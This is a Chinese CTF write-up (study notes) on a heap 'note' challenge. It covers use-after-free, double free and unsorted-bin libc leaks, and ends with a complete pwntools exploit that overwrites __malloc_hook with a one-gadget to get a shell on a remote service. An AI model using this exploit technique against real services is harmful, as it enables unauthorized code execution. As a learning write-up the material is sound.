菜狗的pwn学习笔记(二)

pwn的堆学习笔记(二)–cgctf note
今天来做下学校平台的pwn的note。
0x0 攻击思路
首先拖进ida,看到有

  puts("1.add");
  puts("2.show");
  puts("3.edit");
  puts("4.delete");
  puts("5.exit");
  printf("choice>>");

很标准的note,edit可以在堆被释放后仍然可以做到使用这个堆,而free可以用来触发uaf或者double free。
之后就可以根据任意读或者任意写来完成攻击。//直接覆写
本来想覆写puts成system后再执行show来达到system(’/bin/sh’)但是脚本报错了,所以最后是参考了骑驴大哥覆写malloc_hook后再malloc来直接完成的思路。
0x1 攻击原理
1,uaf跟doublefree
其实这俩个原理差不多,都是在利用一个堆块在被以及free的情况下,或者在这个堆块处于fastbin的队列中的时候,将他的fd改成我们想要的地址,这样,在下一次分配到这个堆后,由于fd已经被我们修改过,这样在fastbin的队列中会将我们构造的fakechunk作为下一个分配这个大小的堆的地址,这样就可以做到任意写的功能,不过要注意的点是这个地址要-0x10(因为是从fd开始写入用户数据,而presize跟size会占据空间)
2,unsorted bin leak
申请两个堆块后,free堆块时,假如大小范围大于max_fast,则内存空间被划分到unsorted bin中,此时,调试可知,此时堆块的指针是一起指向中的(fastbin为空时,unsortbin的fd和bk指向自身main_arena中,该地址的相对偏移值存放在libc中, 通过use after free后打印出main_arena的实际地址, 结合偏移值从而得到libc的加载地址)
0x2 确认main_arena实际地址
首先在free跟exit处下断点,

RAX: 0x555555757010 --> 0x33333231 (‘1233’)

//rax用来保存函数的返回值
让程序exit触发断点后,查看在free执行完成后的这个堆的情况,看到

0x555555757000: 0x0000000000000000 0x00000000000000e1
0x555555757010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x555555757020: 0x0000000000000000 0x0000000000000000

好的,知道了fd跟bk都是0x00007ffff7dd1b78后,查看

0x7ffff7dd1b78 : 0x00005555557571c0 0x0000000000000000

这样就清楚了,偏移是88
已经main_arena相对地址的确定
main_arena的基址存放在libc中的malloc_trim()函数中:

 v25 = a1;
  if ( dword_397144 < 0 )
    sub_7BFC0();
  v24 = 0;
  v22 = &dword_397B00;

嗯,就在开头那儿。
0x3 exp:

from pwn import *
r = remote("45.76.173.177",6666)
main_arena_addr=0x397b00
mallochook=0x397af0
oneGadget=0xd694f
def addnote(s):
	r.sendline("1")
	r.sendlineafter("Size:",str(len(s)))
	r.sendlineafter("Content:",s)

def show(index):
	r.sendline("2")
	r.sendlineafter("Index:",str(index))

def edit(index,s):
	r.sendline("3")
	r.sendlineafter("Index:",str(index))
	r.sendline(s)

def delete(index):
	r.sendline("4")
	r.sendlineafter("Index:",str(index))

addnote('a'*233)
addnote('b'*233)
delete(0)
show(0)
a = r.recvline()
offset = u64(a[0:6].ljust(8,"\x00")) - 88
libc_base=offset-main_arena_addr
fake_chunk=p64(libc_base+mallochook-0x20-3)+'\x00'*0x58
padding='\x00'*0x13+p64(libc_base+oneGadget)+'\x00'*0x45
addnote('a'*0x60)
delete(2)
edit(2,fake_chunk)
addnote('c'*0x60)
addnote(padding)
r.interactive()

你可能感兴趣的:(pwn,ctf)